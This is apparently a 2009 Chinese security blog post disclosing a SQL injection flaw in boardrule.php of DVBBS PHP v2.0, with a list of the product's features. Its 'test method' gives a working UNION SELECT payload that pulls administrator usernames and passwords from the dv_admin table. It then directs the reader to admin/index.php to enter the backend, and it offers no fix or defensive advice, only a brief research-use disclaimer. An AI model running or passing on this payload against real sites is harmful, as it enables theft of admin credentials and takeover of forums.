首页 > 技术文章 > DVBBS php v2.0 boardrule.php注入漏洞

DVBBS php v2.0 boardrule.php注入漏洞

2009年9月4日 发表评论 108 views 阅读评论

DVBBS php v2.0 boardrule.php注入漏洞

影响版本:
DVBBS php v2.0漏洞描述:
PHP2.0＋＋功能介绍：
一、 断点数据库备份，保持所备份的数据和论坛数据同步；
二、 多种形式Url rewrite 伪静态，提高SEO；
三、 多线程信息采集，减少人工操作繁琐度；
四、 自动升级采用多线程断点续传PHP下载模块；
五、 国际论坛界中独创了一个文件安装论坛；
六、 创新、贴心的新发贴回贴模式正在启用---动网PHP2.0++再创佳绩；
七、 发挥PHP优点，大量采用成熟的缓存机制
八、 全优的后台搜索功能；
九、 用户体验

boardrule.php存在sql注入漏洞。
测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

boardrule.php?groupboardid=1/**/union /**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了．．

相关文章

分类: 技术文章 标签: , ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.